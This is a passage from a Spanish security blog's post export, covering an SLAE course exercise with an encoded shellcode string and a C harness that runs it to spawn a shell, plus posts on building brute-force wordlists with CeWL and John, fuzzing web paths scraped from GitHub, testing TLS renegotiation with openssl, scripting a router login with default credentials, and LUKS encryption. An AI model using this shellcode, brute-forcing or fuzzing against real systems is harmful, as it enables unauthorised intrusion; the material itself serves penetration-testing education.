"\xeb\x23\x5e\x8d\x7e\x01\x31\xc0\xb0\x01\x31\xdb\x31\xc9\xb1\x01\x8a\x1c\x06\x30\xcb\x75\x13\x8a\x5c\x06\x01\x88\x1f\x47\x04\x02\x80\xc1\x01\xeb\xeb\xe8\xd8\xff\xff\xff\xeb\x01\x10\x02\x5e\x03\x31\x04\xc9\x05\xb1\x06\x19\x07\x80\x08\x36\x09\xca\x0a\x80\x0b\x2e\x0c\x02\x0d\x46\x0e\xe2\x0f\xf7\x10\xeb\x11\x05\x12\xe8\x13\xeb\x14\xff\x15\xff\x16\xff\x17\xf9\x18\x08\x19\x98\x1a\xa0\x1b\xba\x1c\xfb\x1d\xbf\x1e\xa0\x1f\xa0\x20\xfb\x21\xfb\x22\xae\x23\xa1\x24\x41\x25\x2f\x26\x98\x27\x41\x28\x2e\x29\x9f\x2a\x41\x2b\x29\x2c\x78\x2d\xc7\x2e\x05\x2f\x48\x30"
</code>
</pre>
<br />
And we check that the shellcode works well...<br />
<br />
<h4>
Proof of Concept (PoC)
</h4>
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"> <code style="color: black; word-wrap: normal;">
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment4$ cat shellcode.c
#include<stdio .h="">
#include<string .h="">
unsigned char code[] =
"\xeb\x23\x5e\x8d\x7e\x01\x31\xc0\xb0\x01\x31\xdb\x31\xc9\xb1\x01\x8a\x1c\x06\x30\xcb\x75\x13\x8a\x5c\x06\x01\x88\x1f\x47\x04\x02\x80\xc1\x01\xeb\xeb\xe8\xd8\xff\xff\xff\xeb\x01\x10\x02\x5e\x03\x31\x04\xc9\x05\xb1\x06\x19\x07\x80\x08\x36\x09\xca\x0a\x80\x0b\x2e\x0c\x02\x0d\x46\x0e\xe2\x0f\xf7\x10\xeb\x11\x05\x12\xe8\x13\xeb\x14\xff\x15\xff\x16\xff\x17\xf9\x18\x08\x19\x98\x1a\xa0\x1b\xba\x1c\xfb\x1d\xbf\x1e\xa0\x1f\xa0\x20\xfb\x21\xfb\x22\xae\x23\xa1\x24\x41\x25\x2f\x26\x98\x27\x41\x28\x2e\x29\x9f\x2a\x41\x2b\x29\x2c\x78\x2d\xc7\x2e\x05\x2f\x48\x30";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment4$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment4$ ./shellcode
Shellcode Length: 138
$ id
uid=1000(hiro) gid=1000(hiro) groups=1000(hiro),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),110(lpadmin),113(scanner)
$
</string></stdio></code>
</pre>
<br />
<br />
Source code: <br />
<a href="https://github.com/Sinkmanu/SLAE/tree/master/Assignment4" target="_blank">https://github.com/Sinkmanu/SLAE/tree/master/Assignment4 </a>Sinkmanuhttp://www.blogger.com/profile/00006100943070321689noreply@blogger.com0tag:blogger.com,1999:blog-1075996046255539410.post-45887411008740489422016-06-13T20:13:00.004+02:002016-06-13T20:14:16.473+02:00Creando un diccionario de contraseñas especificoExisten numerosos diccionarios de contraseñas bastante buenos en la red, como puede ser el de la base de datos de rockyou o ashley madison, los cuales nos pueden servir para la realización de fuerza bruta durante un pentest. <br />
En este caso lo que haremos será crear un diccionario especifico para un sitio web, usando las palabras que se encuentran en el sitio y posteriormente creando variaciaciones de las mismas. Este diccionario será utilizado cuando realizemos fuerza bruta durante el pentest.<br />
<br />
Para ello usaremos las herramientas CeWL [1], para recuperar todas las palabras del sitio web y crear el diccionario y John the Ripper [2] para crear las variaciones.<br />
<br />
<br />
<br />
<div style="background-color: black; border: 1px solid #000; height: 180px; width: 580px;">
<span style="color: green; font-family: "verdana" , "arial" , "helvetica" , sans-serif;">
root@kali:~/misc#
</span><span style="color: white;">cewl gretian.org -m 6 -w gretian.cewl.txt <br />CeWL 5.0 Robin Wood (robin@digininja.org) (www.digininja.org)</span><br /><br />
<span style="color: green; font-family: "verdana" , "arial" , "helvetica" , sans-serif;">
root@kali:~/misc#
</span><span style="color: white;">john --wordlist=gretian.cewl.txt --rules --stdout > gretian.mangled.txt<br />words: 92912 time: 0:00:00:00 DONE (Sun Jun 12 13:01:58 2016) w/s: 774266 current: wrCTHniFqxMLPUZIOh8Ss1GNM1oa99</span><br />
<span style="color: green; font-family: "verdana" , "arial" , "helvetica" , sans-serif;">
root@kali:~/misc#
</span><span style="color: white;">cat gretian.cewl.txt | wc -l <br />651 </span><br />
<span style="color: green; font-family: "verdana" , "arial" , "helvetica" , sans-serif;">
root@kali:~/misc#
</span><span style="color: white;">cat gretian.mangled.txt | wc -l <br />92912</span>
</div>
<br />
<br />
Y ya tendremos nuestro diccionario para poder usarlo con Hydra [3], Medussa [4] o Wfuzz [5], por ejemplo.<br />
<br />
<br />
[1] <a href="https://github.com/digininja/CeWL">https://github.com/digininja/CeWL</a><br />
[2] <a href="http://www.openwall.com/john/">http://www.openwall.com/john/</a><br />
[3] <a href="https://www.thc.org/thc-hydra/">https://www.thc.org/thc-hydra/</a><br />
[4] <a href="http://foofus.net/goons/jmk/medusa/medusa.html">http://foofus.net/goons/jmk/medusa/medusa.html</a><br />
[5] <a href="https://github.com/xmendez/wfuzz">https://github.com/xmendez/wfuzz</a>Sinkmanuhttp://www.blogger.com/profile/00006100943070321689noreply@blogger.com0tag:blogger.com,1999:blog-1075996046255539410.post-65840111108140098672015-09-29T22:25:00.000+02:002015-09-29T22:25:26.975+02:00Fuzzing usando software de código abierto alojado en GitHubEn muchas ocasiones cuando estamos realizando una auditoría de seguridad podemos encontrarnos con aplicaciones web para gestión de contenidos (CMS), monitoriación de sistemas, etc. de código abierto.<br />
<br />
Estás aplicaciones siempre serán un buen punto de entrada para conseguir información útil o comprometer el sistema. Con el objetivo de realizar fuzzing para ver que archivos se encuentran en el servidor web he creado un pequeño <i>script </i>para recoger todos los nombres de directorios y archivos de un repositorio alojado en <i>GitHub</i> para posteriormente usarlos como <i>path</i> en las URL que pasaremos al fuzzer. En este caso usaremos <i>wfuzz [1].</i><br />
<br />
Dado que estamos buscando archivos que se encuentran y de los cuales existe el código fuente, podríamos analizar el mismo en busca de posibles agujeros de seguridad.<i> </i><br />
<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 1px; width: 100%;"><code>
#!/usr/bin/env python
import sys
import requests
from bs4 import BeautifulSoup
def getData(url):
requests.packages.urllib3.disable_warnings()
r = requests.get(url, verify=False)
soup = BeautifulSoup(r.text, "html5lib")
data = soup.find_all('tr', attrs={'class': 'js-navigation-item'})
for i in data:
if (len(i.find_all('td', attrs={'class': 'icon'})) > 0):
tipo = " ".join(i.find_all('td', attrs={'class': 'icon'})[0].span.get('class'))
name = i.find_all('td', attrs={'class': 'content'})[0].a.get('title')
if tipo == "octicon octicon-file-text":
print(url.replace(f_url, "") + "/" + name)
elif tipo == "octicon octicon-file-directory":
print(url.replace(f_url, "") + "/" + name)
getData(url + "/" + name)
if __name__ == "__main__":
f_url = sys.argv[1] +"/tree/master/"
getData(f_url)
</code>
</pre>
<br />
<br />
Ejemplo si queremos probar las URL que existen en un servidor web que tiene el CMS de Drupal:<br />
<br />
<div style="background-color: black; border: 1px solid #000; height: 20px; width: 580px;">
<span style="color: #eeeeee;"><span style="font-family: Verdana, Arial, Helvetica, sans-serif;">
$ ./getRepoURLweb.py https://github.com/drupal/drupal > drupal_paths.txt
</span></span>
</div>
<br />
Y luego se lo pasamos a wfuzz, en este <br />
<br />
<div style="background-color: black; border: 1px solid #000; height: 20px; width: 580px;">
<span style="color: #eeeeee;"><span style="font-family: Verdana, Arial, Helvetica, sans-serif;">
$ wfuzz -c .z file,drupal_paths.txt http://site-with-drupal/FUZZ<br />
</span></span></div>
<br />
<br />
Con esto además se podría crear alguna especie de crawler para poder recopilar y crear grandes diccionarios para fuzzing basandonos en repositorios de código abierto.<br />
<br />
<br />
[1] <a href="https://github.com/xmendez/wfuzz">https://github.com/xmendez/wfuzz</a>Sinkmanuhttp://www.blogger.com/profile/00006100943070321689noreply@blogger.com0tag:blogger.com,1999:blog-1075996046255539410.post-34056808229839070642015-05-27T23:10:00.005+02:002015-05-28T20:49:01.338+02:00Test Renegociación SSL/TLS manual con openssl<span class="" id="result_box" lang="es"><span title="HTTP is a clear-text protocol and it is normally secured via an SSL/TLS tunnel, resulting in HTTPS traffic [1].">HTTP (HiperText Transfer Protocol) es un protocolo el cual según su especificación toda la información transmitida esta en claro. Posteriormente se creo una capa superior (SSL/TLS) para proporcionar un canal seguro, que nos proporciona confidencialidad y autenticación, derivando el protocolo HTTP en su variante segura HTTPS. Tanto los clientes como los servidores se pueden autenticar usando certificados.</span></span><br />
<span class="" id="result_box" lang="es"><span title="HTTP is a clear-text protocol and it is normally secured via an SSL/TLS tunnel, resulting in HTTPS traffic [1]."><br /></span></span>
<span class="" id="result_box" lang="es"><span title="HTTP is a clear-text protocol and it is normally secured via an SSL/TLS tunnel, resulting in HTTPS traffic [1].">A pesar de existir cifrados fuertes, normalmente por falta de desconocimiento o por pereza, muchos servidores contienen errores de configuración, o directamente no estan configurados, esto hace que permitan cifrados debiles, directamente ningún cifrado, lo que permite a un atacante tener acceso al canal y leer la comunicación mediante un ataque <i>man in the middle</i>. </span></span><br />
<span class="" id="result_box" lang="es"><span title="HTTP is a clear-text protocol and it is normally secured via an SSL/TLS tunnel, resulting in HTTPS traffic [1]."><br /></span></span>
<span class="" id="result_box" lang="es"><span title="HTTP is a clear-text protocol and it is normally secured via an SSL/TLS tunnel, resulting in HTTPS traffic [1].">El ataque SSL/TLS Renegotiation consiste en aprovecharse de esta caracteristica de SSL/TLS mediante la cual un atacante en una posición entre el cliente y el servidor (MITM), el cliente pretende conectarse al servidor, pero con el que se conecta es con el atacante, antes de que el atacante complete el handshake con el cliente, el atacante se conecta al servidor y realiza el handshake, posteriormente realiza una renegociación con el servidor, pero esta vez se la devuelve al cliente, permaneciendo el atacante en una posición intermedia, y con la clave de sesión, por tanto, podrá leer todo lo que se transmita por ese canal "seguro". </span></span><span class="" id="result_box" lang="es"><span title="HTTP is a clear-text protocol and it is normally secured via an SSL/TLS tunnel, resulting in HTTPS traffic [1]."> Explicado con detalles en el <a href="https://tools.ietf.org/html/rfc5746" target="_blank">RFC 5746</a></span></span><br />
<span class="" id="result_box" lang="es"><span title="HTTP is a clear-text protocol and it is normally secured via an SSL/TLS tunnel, resulting in HTTPS traffic [1]."><br /></span></span>
A continucación se van a explicar como detectar la vulnerabilidad de SSL/TLS Renegotiation manualmente mediante <i>openssl</i><br />
<br />
<div style="background-color: black; border: 1px solid #000; height: 1305px; width: 585px;">
<span style="color: #eeeeee;"><span style="font-family: monospace,"Lucida Console",monospace;">
<span style="font-family: Georgia, "Times New Roman", serif;">
<span style="font-size: x-small;">
</span></span></span></span>
<span style="font-size: x-small;"><span style="font-family: Georgia, "Times New Roman", serif;"><span style="color: white;">[manu@Golgota ~]$ openssl s_client -connect 212.106.221.247:443<br />CONNECTED(00000003)<br />depth=2 C = US, O = GeoTrust Inc., CN = GeoTrust Global CA<br />verify error:num=20:unable to get local issuer certificate<br />---<br />Certificate chain<br /> 0 s:/C=US/ST=California/L=Mountain View/O=Google Inc/CN=google.com<br /> i:/C=US/O=Google Inc/CN=Google Internet Authority G2<br /> 1 s:/C=US/O=Google Inc/CN=Google Internet Authority G2<br /> i:/C=US/O=GeoTrust Inc./CN=GeoTrust Global CA<br /> 2 s:/C=US/O=GeoTrust Inc./CN=GeoTrust Global CA<br /> i:/C=US/O=Equifax/OU=Equifax Secure Certificate Authority<br />---<br />Server certificate<br />-----BEGIN CERTIFICATE-----<br />MIIfuDCCHqCgAwIBAgIIEXx6isl3p58wDQYJKoZIhvcNAQEFBQAwSTELMAkGA1UE<br />...<br />pQV0WWxK4updoi/O+LrPrGB3e+FhFCAeDsBQRPx3F1IhBsrp7fHPrJ6BS1/9+jQR<br />fedZfkQ7fvLosu690/gw8MLe6PgqluNR39yww3sXmMqNN2hOJIvTjfD2+bmetg4U<br />ffJ/iFbsgw5VhL6oYFNbudk+3K8fPyp6uTdmXHfxGRvQUrtdEne3Bx6Wqm6CZsEC<br />odzgrMG5AhqPX2P8<br />-----END CERTIFICATE-----<br />subject=/C=US/ST=California/L=Mountain View/O=Google Inc/CN=google.com<br />issuer=/C=US/O=Google Inc/CN=Google Internet Authority G2<br />---<br />No client certificate CA names sent<br />Peer signing digest: SHA512<br />Server Temp Key: ECDH, P-256, 256 bits<br />---<br />SSL handshake has read 10697 bytes and written 474 bytes<br />---<br />New, TLSv1/SSLv3, Cipher is ECDHE-RSA-AES128-GCM-SHA256<br />Server public key is 2048 bit<br />Secure Renegotiation IS supported<br />Compression: NONE<br />Expansion: NONE<br />No ALPN negotiated<br />SSL-Session:<br /> Protocol : TLSv1.2<br /> Cipher : ECDHE-RSA-AES128-GCM-SHA256<br /> Session-ID: 7CA87792A48A9868A750640D78BC22510AABE40A6BA7D01A505097F237E79C9A<br /> Session-ID-ctx: <br /> Master-Key: 9EF1F5390E309B1BEA63A37D7F06532CDF231709718745B3B4EC646A5A68FB795A8682807DC7AE2AC7B6295D0C889234<br /> Key-Arg : None<br /> PSK identity: None<br /> PSK identity hint: None<br /> SRP username: None<br /> TLS session ticket lifetime hint: 100800 (seconds)<br /> TLS session ticket:<br /> 0000 - 7e ed 7c e5 94 33 1f 6c-57 89 e9 77 37 aa 7d 1f ~.|..3.lW..w7.}.<br /> 0010 - 8b 10 64 05 4c ba dc 45-39 92 4c b3 41 eb 3e 74 ..d.L..E9.L.A.>t<br /> 0020 - 19 58 ad 92 db 46 37 2e-0c 0d d4 00 b3 51 29 36 .X...F7......Q)6</span><br /> <span style="color: white;"> 0030 - 0a 16 24 1d 3c c1 82 ef-68 18 20 79 85 f9 28 1b ..$.<...h. y..(.<br /> 0040 - 27 6f 48 e1 cf be f4 c4-f2 ae f0 f5 6c a6 fc 70 'oH.........l..p<br /> 0050 - 4f d5 e9 0e c5 41 8e d3-aa a2 9a cf 2b 26 e1 94 O....A......+&..<br /> 0060 - 6d 71 a0 1a 1f 1a 6f 0c-43 3b 7d c0 47 24 2c 76 mq....o.C;}.G$,v<br /> 0070 - b8 56 ce dc 4e fd dd 17-49 26 4a c7 60 ca 62 02 .V..N...I&J.`.b.<br /> 0080 - 3e 79 f1 12 30 53 62 a6-2e be 94 d2 dc f4 8f 1c >y..0Sb.........<br /> 0090 - 15 ed b1 a9 60 e8 c4 25-11 83 28 08 eb 0c 2a 0a ....`..%..(...*.<br /> 00a0 - ab 2f b2 b2 ./..<br /><br /> Start Time: 1432760387<br /> Timeout : 300 (sec)<br /> Verify return code: 20 (unable to get local issuer certificate)<br />---<br />GET / HTTP/1.0<br />R<br />RENEGOTIATING<br />140514982606488:error:1409E0E5:SSL routines:ssl3_write_bytes:ssl handshake failure:s3_pkt.c:645: </span></span></span></div>
<br />
<br />
<span style="font-size: x-small;"><span style="font-family: Georgia, "Times New Roman", serif;"><span style="color: white;"> </span></span></span><span class="" id="result_box" lang="es"><span title="HTTP is a clear-text protocol and it is normally secured via an SSL/TLS tunnel, resulting in HTTPS traffic [1]."><br /></span></span>
En este caso el servidor sobre el que se ha probado <u>no es vulnerable</u>, ya que al solicitar la renegociación, no lo ha permitido. Sin embargo, si lo hubiese permitido, podríamos a hacer una petición GET y nos devolvería la página web.<br />
<br />
<br />
:)
Sinkmanuhttp://www.blogger.com/profile/00006100943070321689noreply@blogger.com0tag:blogger.com,1999:blog-1075996046255539410.post-25392269836304042572015-01-25T21:34:00.003+01:002015-01-25T22:09:04.115+01:00Python, Basic http authentication y un ejemplo útil.<b>Basic HTTP authentication </b>es un método mediante el cual nos autenticamos en un servidor web usando <i>usuario </i>y <i>contraseña</i>, siendo está enviada en las cabeceras HTTP. Viene especificado en el <i>RFC 2617 <a href="http://tools.ietf.org/html/rfc2617" target="_blank">http://tools.ietf.org/html/rfc2617</a></i><br />
<br />
<br />
El funcionamiento es el siguiente, accedemos a una página web, en la respuesta del servidor añade la cabecera: <br />
<i><span style="font-size: x-small;"> WWW-Authenticate: Basic realm=""</span></i><br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<i><span style="font-size: x-small;"><a href="http://3.bp.blogspot.com/-hwAIc7w2eK8/VMVS0TgzK1I/AAAAAAAAAa4/zeuHdJduR9g/s1600/authentication.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-hwAIc7w2eK8/VMVS0TgzK1I/AAAAAAAAAa4/zeuHdJduR9g/s1600/authentication.png" height="36" width="320" /></a></span></i></div>
<br />
<br />
posteriormente el cliente deberá incluir en la cabecera HTTP:<br />
<i><span style="font-size: x-small;"> Authorization: Basic dXNlcmVqZW1wbG86cGFzc3dvcmRlamVtcGxv </span></i><br />
Siendo <i>dXNlcmVqZW1wbG86cGFzc3dvcmRlamVtcGxv</i> el usuario:contraseña codificado en base64. Obviamente, este es un sistema de autenticación muy básico, el cual no se recomienda usar a día de hoy. Un atacante mediante un ataque MITM podría obtener las credenciales del usuario que se esta autenticando en el sistema fácilmente. Simplemente decodificando la cadena en base64, obtendría su contraseña.<br />
<br />
Bien, el ejemplo que he realizado, es para autenticarnos de esta forma en un router de Movistar, que usa este sistema de autenticacón. La herramienta en cuestión esta creada para que además de autenticarse, cambie la IP pública actual que tenemos, osea, nos desconectará de la Red y nos volverá a conectar, obteniendo una nueva dirección IP (siempre y cuando tengamos una IP dinámica, obviamente).<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>
#!/usr/bin/env python
import requests
from requests.auth import HTTPBasicAuth
from bs4 import BeautifulSoup
import time
class RouterMovistar:
def __init__(self,user,password):
self.user = user
self.password = password
def getActualIp(self):
req = requests.get('http://192.168.1.1/admin/status.asp', auth=HTTPBasicAuth(self.user, self.password))
soup = BeautifulSoup(req.text)
tabla = soup.find('table',width=600).find_all('tr')
data = []
for i in tabla:
tds = i.find_all('td')
for x in tds:
test = x.text
data.append(test)
return data[19]
def getActualGateway(self):
req = requests.get('http://192.168.1.1/admin/status.asp', auth=HTTPBasicAuth(self.user, self.password))
soup = BeautifulSoup(req.text)
tabla = soup.find('table',width=600).find_all('tr')
data = []
for i in tabla:
tds = i.find_all('td')
for x in tds:
test = x.text
data.append(test)
return data[20]
def disconnectIp(self):
payload = { 'submitppp0':'Disconnect',
'submit-url':'/admin/status.asp'}
headers = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/plain","User-Agent": 'Sinkmanu :)'}
req = requests.post('http://192.168.1.1/goform/admin/formStatus',auth=HTTPBasicAuth(self.user, self.password),headers=headers,data=payload)
def connectIp(self):
payload = { 'submitppp0':'Connect',
'submit-url':'/admin/status.asp'}
headers = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/plain","User-Agent": 'Sinkmanu :)'}
req = requests.post('http://192.168.1.1/goform/admin/formStatus',auth=HTTPBasicAuth(self.user, self.password),headers=headers,data=payload)
# Main
test = RouterMovistar('adsl','realtek') # set username and password (by default. WTF)
actualIP = test.getActualIp()
print "[*] IP Actual: \t\t",actualIP
print "[*] Gateway: \t\t",test.getActualGateway()
print "[*] Discconecting..."
test.disconnectIp()
print "[*] Connecting..."
test.connectIp()
newIP = test.getActualIp()
time.sleep(2)
while actualIP == newIP:
test.disconnectIp()
print "[*] Refreshing.."
time.sleep(2)
test.connectIp()
newIP = test.getActualIp()
print "[*] New IP: \t\t",test.getActualIp()
print "[*] New Gateway: \t",test.getActualGateway()
</code> </pre>
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-DT33t_U9LBU/VMVSoXAPsoI/AAAAAAAAAaw/bZas_qXW_GA/s1600/ejemplo.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-DT33t_U9LBU/VMVSoXAPsoI/AAAAAAAAAaw/bZas_qXW_GA/s1600/ejemplo.png" height="80" width="400" /></a></div>
<br />
<a href="https://www.blogger.com/blogger.g?blogID=1075996046255539410" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"></a><a href="https://www.blogger.com/blogger.g?blogID=1075996046255539410" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"> </a><br />
:-)Sinkmanuhttp://www.blogger.com/profile/00006100943070321689noreply@blogger.com0tag:blogger.com,1999:blog-1075996046255539410.post-63754786798364358492014-09-25T22:20:00.000+02:002014-09-25T22:51:22.713+02:00Cifrado del home con LUKS.<b><span style="color: black;">¿Qué es LUKS?</span></b><br />
<br />
Linux Unified Key Setup-on-disk-format (LUKS), es un estándar de cifrado para particiones en Linux. Esto hace que además de facilitar <span class="" id="result_box" lang="es"> <span class="hps">la compatibilidad</span> <span class="hps">entre las distribuciones</span><span class="">,</span> <span class="hps">también proporciona</span> <span class="hps">una gestión segura de</span> <span class="hps">contraseñas para múltiples usuarios (aunque en este caso lo único que haremos será cifrar el <i>/home</i> completamente). </span></span><br />
<br />
<span class="" id="result_box" lang="es"><span class="hps">El tener cifrados nuestros datos es particularmente importante cuando se trata de portatils y medios extraibles (pendrives por ejemplo)</span></span><br />
<br />
<span class="" id="result_box" lang="es"><span class="hps"><b>¿Qué hace?</b></span></span><br />
<span class="" id="result_box" lang="es"><span class="hps"><b> </b></span></span><span class="" id="result_box" lang="es"><span class="hps"><b> </b></span></span><br />
<ul>
<li><span class="" id="result_box" lang="es"><span class="hps">Cifra los dispositivos por bloques enteros, lo cual lo convierte en idoneo para proteger nuestros dispositivos móviles.</span></span></li>
<li><span class="" id="result_box" lang="es"><span class="hps"><span class="" id="result_box" lang="es"><span class="hps">Utiliza el subsistema de</span>l <span class="hps">kernel</span> <span class="hps">para mapeo de dispositivos</span><span class="">.</span></span></span></span></li>
<li><span class="" id="result_box" lang="es"><span class="hps"><span class="" id="result_box" lang="es"><span class="">Proporciona multiples algoritmos de cifrado, y nos provee un fortalecimiento de la password para protegernos contra ataques de diccionario.</span></span></span></span></li>
<li><span class="" id="result_box" lang="es"><span class="hps"><span class="" id="result_box" lang="es"><span class="">Los dispositivos cifrados con LUKS contienen múltiples <i>key-slots</i>, lo que nos permite agregar llaves o frases de acceso de respaldo.</span></span><b><span class="" id="result_box" lang="es"> </span> </b></span></span></li>
</ul>
<span class="" id="result_box" lang="es"><span class="hps"><b><span class="" id="result_box" lang="es"></span></b> </span></span><br />
<span class="" id="result_box" lang="es"><span class="hps"><span class="" id="result_box" lang="es"><span class="hps"></span></span> </span><span class=""></span> <span class="hps"></span></span><i><br /></i>
<b>¿Cómo cifrar el home de manera sencilla?</b><br />
<br />
Lo primero que vamos a hacer es un backup de nuestro home, lo podemos hacer con <i>cp</i> o con cualquier otra herramienta.<br />
<br />
<div style="background-color: black; border: 1px solid #000; height: 20px; width: 580px;">
<span style="color: #eeeeee;"><span style="font-family: Verdana, Arial, Helvetica, sans-serif;">
# cp -a /home/* /homebackup<br />
</span></span></div>
<br />
Ahora, vamos a proceder a cifrar el home, para ello usaremos la herramienta <i>cryptsetup</i>, que es con la cual cifraremos la partición donde se encuentra el home, en mi caso es <i>/dev/sda3</i><br />
<br />
<div style="background-color: black; border: 1px solid #000; height: 35px; width: 580px;">
<span style="color: #eeeeee;"><span style="font-family: Verdana, Arial, Helvetica, sans-serif;">
# cryptsetup -v --cipher aes-xts-plain64 -s 256 -h sha1 -i 1000 --use-urandom -y luksFormat /dev/sda3<br />
</span></span></div>
<br />
Donde:<br />
<ul>
<li><b>--cipher</b> es el tipo de cifrado que usaremos, en este caso usamos el algoritmo AES con el modo de cifrado XTS (<span class="mw-headline" id="XEX-based_tweaked-codebook_mode_with_ciphertext_stealing_.28XTS.29">XEX-based tweaked-codebook mode with ciphertext stealing)</span></li>
<li><span class="mw-headline" id="XEX-based_tweaked-codebook_mode_with_ciphertext_stealing_.28XTS.29"><b>-s </b>es el tamaño de la clave.</span></li>
<li><span class="mw-headline" id="XEX-based_tweaked-codebook_mode_with_ciphertext_stealing_.28XTS.29"><b>-h </b>Hash con el cual se almacenará nuestra clave. A día de hoy es seguro usar SHA1. (Aunque en un futuro... <a href="https://konklone.com/post/why-google-is-hurrying-the-web-to-kill-sha-1" target="_blank">https://konklone.com/post/why-google-is-hurrying-the-web-to-kill-sha-1</a> </span>)</li>
<li><b>-i </b><span class="" id="result_box" lang="es"><span class="hps">Número de</span> <span class="hps">milisegundos</span> <span class="hps">para completar</span> <span class="hps">con el procesamiento</span><span class="hps"> de la contraseña</span><span class="">.</span> <span class=""> </span></span></li>
<li><span class="" id="result_box" lang="es"><span class=""><b>--use-urandom </b>Fuente de aleatoriedad de la llave maestra para cifrar el volumen.</span></span></li>
<li><b>-y </b>Modo LUKS.</li>
</ul>
Una vez tenemos cifrada nuestra partición, ejecutamos el comando:<br />
<br />
<div style="background-color: black; border: 1px solid #000; height: 20px; width: 580px;">
<span style="color: #eeeeee;"><span style="font-family: Verdana, Arial, Helvetica, sans-serif;">
# cryptsetup luksOpen /dev/sda3 chome<br />
</span></span></div>
<br />
Con esto haremos que se guarde la configuración. Posteriormente damos formato a nuestra nueva partición cifrada. <br />
<br />
<div style="background-color: black; border: 1px solid #000; height: 20px; width: 580px;">
<span style="color: #eeeeee;"><span style="font-family: Verdana, Arial, Helvetica, sans-serif;">
# mkfs.ext4 /dev/mapper/chome<br />
</span></span></div>
<br />
Ya solo nos quedará añadir a <i>crypttab </i>y modificar <i>fstab</i> con nuestra nueva configuración con respecto a nuestro /home.<br />
<br />
En <b><i>/etc/crypttab</i></b> añadimos (Ojo, eso es en mi caso, vuestra partición puede estar en otra partición):<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; padding: 5px; width: 100%;"><span style="font-family: "Helvetica Neue",Arial,Helvetica,sans-serif;"><code>chome /dev/sda3 none luks<span style="font-family: "Helvetica Neue",Arial,Helvetica,sans-serif;">,</span>timeout=30 cipher=aes-xts-plain64,size=256
</code></span></pre>
<br />
Y en <i><b>/etc/fstab</b></i> modificamos el "UUID=..." de la línea que se refiere a nuestro /home por<i> /dev/mapper/chome</i>:<br />
<span style="font-family: "Helvetica Neue",Arial,Helvetica,sans-serif;">
</span>
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; padding: 5px; width: 100%;"><span style="font-family: "Helvetica Neue",Arial,Helvetica,sans-serif;"><code>/dev/mapper/chome<span style="font-family: "Helvetica Neue",Arial,Helvetica,sans-serif;"> </span> /home ext4 <span style="font-family: "Helvetica Neue",Arial,Helvetica,sans-serif;">rw,relatime,data=ordered</span> <span style="font-family: "Helvetica Neue",Arial,Helvetica,sans-serif;">0</span> 2
</code></span></pre>
<span style="font-family: "Helvetica Neue",Arial,Helvetica,sans-serif;">
</span>
<br />
<br />
Ahora solo nos quedará, o bien reiniciar y probarlo y ver que se monta correctamente una vez descifrada la partición, o por el contrario montar la partición y restaurar el backup.<br />
<br />
Por ejemplo, después de reiniciar, entramos con la cuenta de root y hacemos:<br />
<br />
<div style="background-color: black; border: 1px solid #000; height: 20px; width: 580px;">
<span style="color: #eeeeee;"><span style="font-family: Verdana, Arial, Helvetica, sans-serif;">
# cp -av /homebackup/* /home/ <br />
</span></span></div>
<br />
Evidentemente, una vez tengamos todos nuestros archivos en nuestro /home cifrado y veamos que esta todo OK. Eliminamos /homebackup de forma segura (con la herramienta <b>shred</b>, por ejemplo).<br />
<br />
<br />Sinkmanuhttp://www.blogger.com/profile/00006100943070321689noreply@blogger.com0tag:blogger.com,1999:blog-1075996046255539410.post-59923755045902477732014-02-11T11:04:00.001+01:002014-02-11T11:12:04.725+01:0011 de Febrero, día contra la vigilancia masiva.Más información en <a href="https://thedaywefightback.org/">https://thedaywefightback.org/</a><br />
<br />
Además, también es el día de la Internet segura. <a href="http://www.diainternetsegura.es/">http://www.diainternetsegura.es/</a> Sinkmanuhttp://www.blogger.com/profile/00006100943070321689noreply@blogger.com0tag:blogger.com,1999:blog-1075996046255539410.post-53872522570823808862014-01-22T22:33:00.004+01:002014-01-22T22:55:37.218+01:00Asterisk en Fedora<b><i>Asterisk</i></b> es una aplicación software que proporciona las funcionalidades de una central telefónica PBX. Entre estas funcionalidades tenemos: buzón de voz, música en espera, transferencia de llamadas, envío de mensajes de voz a email, etcétera. <br />
<br />
En primer lugar instalaremos asterisk y algunos sonidos en español que pondremos a la centralita.<br />
<br />
<div style="background-color: black; border: 1px solid #000; height: 20px; width: 580px;">
<span style="color: #eeeeee;"><span style="font-family: Georgia,"Times New Roman",serif;">
# yum install asterisk asterisk-sounds-core-es asterisk-sounds-core-es-gsm</span></span><br />
<span style="color: #eeeeee;"><span style="font-family: Georgia,"Times New Roman",serif;"><br />
</span></span></div>
<br />
Una vez que tenemos instalado asterisk, para activar el servicio basta con hacer un<br />
<br />
<div style="background-color: black; border: 1px solid #000; height: 20px; width: 580px;">
